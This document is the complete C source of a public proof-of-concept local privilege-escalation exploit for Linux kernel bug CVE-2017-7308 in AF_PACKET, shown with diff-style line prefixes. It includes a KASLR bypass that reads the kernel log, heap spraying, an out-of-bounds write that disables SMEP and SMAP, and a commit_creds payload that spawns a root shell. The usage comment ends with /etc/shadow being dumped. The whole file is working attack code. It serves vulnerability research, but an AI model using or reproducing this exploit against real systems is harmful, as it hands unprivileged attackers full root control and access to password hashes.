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- // A proof-of-concept local root exploit for CVE-2017-7308.
- // Includes a SMEP & SMAP bypass.
- // Tested on 4.8.0-41-generic Ubuntu kernel.
- // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
- //
- // Usage:
- // user@ubuntu:~$ uname -a
- // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
- // user@ubuntu:~$ gcc pwn.c -o pwn
- // user@ubuntu:~$ ./pwn
- // [.] starting
- // [.] namespace sandbox set up
- // [.] KASLR bypass enabled, getting kernel addr
- // [.] done, kernel text: ffffffff87000000
- // [.] commit_creds: ffffffff870a5cf0
- // [.] prepare_kernel_cred: ffffffff870a60e0
- // [.] native_write_cr4: ffffffff87064210
- // [.] padding heap
- // [.] done, heap is padded
- // [.] SMEP & SMAP bypass enabled, turning them off
- // [.] done, SMEP & SMAP should be off now
- // [.] executing get root payload 0x401516
- // [.] done, should be root now
- // [.] checking if we got root
- // [+] got r00t ^_^
- // root@ubuntu:/home/user# cat /etc/shadow
- // root:!:17246:0:99999:7:::
- // daemon:*:17212:0:99999:7:::
- // bin:*:17212:0:99999:7:::
- // ...
- //
- // Andrey Konovalov <andreyknvl@gmail.com>
- #define _GNU_SOURCE
- #include <errno.h>
- #include <fcntl.h>
- #include <stdarg.h>
- #include <stdbool.h>
- #include <stddef.h>
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sched.h>
- #include <sys/ioctl.h>
- #include <sys/klog.h>
- #include <sys/mman.h>
- #include <sys/socket.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <arpa/inet.h>
- #include <linux/if_packet.h>
- #include <linux/ip.h>
- #include <linux/udp.h>
- #include <netinet/if_ether.h>
- #include <net/if.h>
- #define ENABLE_KASLR_BYPASS 1
- #define ENABLE_SMEP_SMAP_BYPASS 1
- // Will be overwritten if ENABLE_KASLR_BYPASS
- unsigned long KERNEL_BASE = 0xffffffff81000000ul;
- // Kernel symbol offsets
- #define COMMIT_CREDS 0xa5cf0ul
- #define PREPARE_KERNEL_CRED 0xa60e0ul
- #define NATIVE_WRITE_CR4 0x64210ul
- // Should have SMEP and SMAP bits disabled
- #define CR4_DESIRED_VALUE 0x407f0ul
- #define KMALLOC_PAD 512
- #define PAGEALLOC_PAD 1024
- // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
- typedef uint32_t u32;
- // $ pahole -C hlist_node ./vmlinux
- struct hlist_node {
- struct hlist_node * next; /* 0 8 */
- struct hlist_node * * pprev; /* 8 8 */
- };
- // $ pahole -C timer_list ./vmlinux
- struct timer_list {
- struct hlist_node entry; /* 0 16 */
- long unsigned int expires; /* 16 8 */
- void (*function)(long unsigned int); /* 24 8 */
- long unsigned int data; /* 32 8 */
- u32 flags; /* 40 4 */
- int start_pid; /* 44 4 */
- void * start_site; /* 48 8 */
- char start_comm[16]; /* 56 16 */
- };
- // packet_sock->rx_ring->prb_bdqc->retire_blk_timer
- #define TIMER_OFFSET 896
- // pakcet_sock->xmit
- #define XMIT_OFFSET 1304
- // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
- void packet_socket_rx_ring_init(int s, unsigned int block_size,
- unsigned int frame_size, unsigned int block_nr,
- unsigned int sizeof_priv, unsigned int timeout) {
- int v = TPACKET_V3;
- int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
- if (rv < 0) {
- perror("[-] setsockopt(PACKET_VERSION)");
- exit(EXIT_FAILURE);
- }
- struct tpacket_req3 req;
- memset(&req, 0, sizeof(req));
- req.tp_block_size = block_size;
- req.tp_frame_size = frame_size;
- req.tp_block_nr = block_nr;
- req.tp_frame_nr = (block_size * block_nr) / frame_size;
- req.tp_retire_blk_tov = timeout;
- req.tp_sizeof_priv = sizeof_priv;
- req.tp_feature_req_word = 0;
- rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
- if (rv < 0) {
- perror("[-] setsockopt(PACKET_RX_RING)");
- exit(EXIT_FAILURE);
- }
- }
- int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
- unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
- int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
- if (s < 0) {
- perror("[-] socket(AF_PACKET)");
- exit(EXIT_FAILURE);
- }
- packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
- sizeof_priv, timeout);
- struct sockaddr_ll sa;
- memset(&sa, 0, sizeof(sa));
- sa.sll_family = PF_PACKET;
- sa.sll_protocol = htons(ETH_P_ALL);
- sa.sll_ifindex = if_nametoindex("lo");
- sa.sll_hatype = 0;
- sa.sll_pkttype = 0;
- sa.sll_halen = 0;
- int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
- if (rv < 0) {
- perror("[-] bind(AF_PACKET)");
- exit(EXIT_FAILURE);
- }
- return s;
- }
- void packet_socket_send(int s, char *buffer, int size) {
- struct sockaddr_ll sa;
- memset(&sa, 0, sizeof(sa));
- sa.sll_ifindex = if_nametoindex("lo");
- sa.sll_halen = ETH_ALEN;
- if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
- sizeof(sa)) < 0) {
- perror("[-] sendto(SOCK_RAW)");
- exit(EXIT_FAILURE);
- }
- }
- void loopback_send(char *buffer, int size) {
- int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
- if (s == -1) {
- perror("[-] socket(SOCK_RAW)");
- exit(EXIT_FAILURE);
- }
- packet_socket_send(s, buffer, size);
- }
- int packet_sock_kmalloc() {
- int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
- if (s == -1) {
- perror("[-] socket(SOCK_DGRAM)");
- exit(EXIT_FAILURE);
- }
- return s;
- }
- void packet_sock_timer_schedule(int s, int timeout) {
- packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
- }
- void packet_sock_id_match_trigger(int s) {
- char buffer[16];
- packet_socket_send(s, &buffer[0], sizeof(buffer));
- }
- // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
- #define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
- #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
- #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
- #define V3_ALIGNMENT (8)
- #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
- #define ETH_HDR_LEN sizeof(struct ethhdr)
- #define IP_HDR_LEN sizeof(struct iphdr)
- #define UDP_HDR_LEN sizeof(struct udphdr)
- #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
- int oob_setup(int offset) {
- unsigned int maclen = ETH_HDR_LEN;
- unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
- (maclen < 16 ? 16 : maclen));
- unsigned int macoff = netoff - maclen;
- unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
- 0x8000 - BLK_HDR_LEN - macoff + offset;
- return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
- }
- void oob_write(char *buffer, int size) {
- loopback_send(buffer, size);
- }
- void oob_timer_execute(void *func, unsigned long arg) {
- oob_setup(2048 + TIMER_OFFSET - 8);
- int i;
- for (i = 0; i < 32; i++) {
- int timer = packet_sock_kmalloc();
- packet_sock_timer_schedule(timer, 1000);
- }
- char buffer[2048];
- memset(&buffer[0], 0, sizeof(buffer));
- struct timer_list *timer = (struct timer_list *)&buffer[8];
- timer->function = func;
- timer->data = arg;
- timer->flags = 1;
- oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
- sleep(1);
- }
- void oob_id_match_execute(void *func) {
- int s = oob_setup(2048 + XMIT_OFFSET - 64);
- int ps[32];
- int i;
- for (i = 0; i < 32; i++)
- ps[i] = packet_sock_kmalloc();
- char buffer[2048];
- memset(&buffer[0], 0, 2048);
- void **xmit = (void **)&buffer[64];
- *xmit = func;
- oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
- for (i = 0; i < 32; i++)
- packet_sock_id_match_trigger(ps[i]);
- }
- // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
- void kmalloc_pad(int count) {
- int i;
- for (i = 0; i < count; i++)
- packet_sock_kmalloc();
- }
- void pagealloc_pad(int count) {
- packet_socket_setup(0x8000, 2048, count, 0, 100);
- }
- // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
- typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
- void get_root_payload(void) {
- ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
- ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
- );
- }
- // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
- #define SYSLOG_ACTION_READ_ALL 3
- #define SYSLOG_ACTION_SIZE_BUFFER 10
- unsigned long get_kernel_addr() {
- int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
- if (size == -1) {
- perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
- exit(EXIT_FAILURE);
- }
- size = (size / getpagesize() + 1) * getpagesize();
- char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
- MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
- size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
- if (size == -1) {
- perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
- exit(EXIT_FAILURE);
- }
- const char *needle1 = "Freeing SMP";
- char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
- if (substr == NULL) {
- fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
- exit(EXIT_FAILURE);
- }
- for (size = 0; substr[size] != '\n'; size++);
- const char *needle2 = "ffff";
- substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
- if (substr == NULL) {
- fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
- exit(EXIT_FAILURE);
- }
- char *endptr = &substr[16];
- unsigned long r = strtoul(&substr[0], &endptr, 16);
- r &= 0xfffffffffff00000ul;
- r -= 0x1000000ul;
- return r;
- }
- // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
- void exec_shell() {
- char *shell = "/bin/bash";
- char *args[] = {shell, "-i", NULL};
- execve(shell, args, NULL);
- }
- void fork_shell() {
- pid_t rv;
- rv = fork();
- if (rv == -1) {
- perror("[-] fork()");
- exit(EXIT_FAILURE);
- }
- if (rv == 0) {
- exec_shell();
- }
- }
- bool is_root() {
- // We can't simple check uid, since we're running inside a namespace
- // with uid set to 0. Try opening /etc/shadow instead.
- int fd = open("/etc/shadow", O_RDONLY);
- if (fd == -1)
- return false;
- close(fd);
- return true;
- }
- void check_root() {
- printf("[.] checking if we got root\n");
- if (!is_root()) {
- printf("[-] something went wrong =(\n");
- return;
- }
- printf("[+] got r00t ^_^\n");
- // Fork and exec instead of just doing the exec to avoid potential
- // memory corruptions when closing packet sockets.
- fork_shell();
- }
- bool write_file(const char* file, const char* what, ...) {
- char buf[1024];
- va_list args;
- va_start(args, what);
- vsnprintf(buf, sizeof(buf), what, args);
- va_end(args);
- buf[sizeof(buf) - 1] = 0;
- int len = strlen(buf);
- int fd = open(file, O_WRONLY | O_CLOEXEC);
- if (fd == -1)
- return false;
- if (write(fd, buf, len) != len) {
- close(fd);
- return false;
- }
- close(fd);
- return true;
- }
- void setup_sandbox() {
- int real_uid = getuid();
- int real_gid = getgid();
- if (unshare(CLONE_NEWUSER) != 0) {
- perror("[-] unshare(CLONE_NEWUSER)");
- exit(EXIT_FAILURE);
- }
- if (unshare(CLONE_NEWNET) != 0) {
- perror("[-] unshare(CLONE_NEWUSER)");
- exit(EXIT_FAILURE);
- }
- if (!write_file("/proc/self/setgroups", "deny")) {
- perror("[-] write_file(/proc/self/set_groups)");
- exit(EXIT_FAILURE);
- }
- if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
- perror("[-] write_file(/proc/self/uid_map)");
- exit(EXIT_FAILURE);
- }
- if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
- perror("[-] write_file(/proc/self/gid_map)");
- exit(EXIT_FAILURE);
- }
- cpu_set_t my_set;
- CPU_ZERO(&my_set);
- CPU_SET(0, &my_set);
- if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
- perror("[-] sched_setaffinity()");
- exit(EXIT_FAILURE);
- }
- if (system("/sbin/ifconfig lo up") != 0) {
- perror("[-] system(/sbin/ifconfig lo up)");
- exit(EXIT_FAILURE);
- }
- }
- int main() {
- printf("[.] starting\n");
- setup_sandbox();
- printf("[.] namespace sandbox set up\n");
- #if ENABLE_KASLR_BYPASS
- printf("[.] KASLR bypass enabled, getting kernel addr\n");
- KERNEL_BASE = get_kernel_addr();
- printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
- #endif
- printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS);
- printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
- #if ENABLE_SMEP_SMAP_BYPASS
- printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
- #endif
- printf("[.] padding heap\n");
- kmalloc_pad(KMALLOC_PAD);
- pagealloc_pad(PAGEALLOC_PAD);
- printf("[.] done, heap is padded\n");
- #if ENABLE_SMEP_SMAP_BYPASS
- printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
- oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
- printf("[.] done, SMEP & SMAP should be off now\n");
- #endif
- printf("[.] executing get root payload %p\n", &get_root_payload);
- oob_id_match_execute((void *)&get_root_payload);
- printf("[.] done, should be root now\n");
- check_root();
- while (1) sleep(1000);
- return 0;
- }
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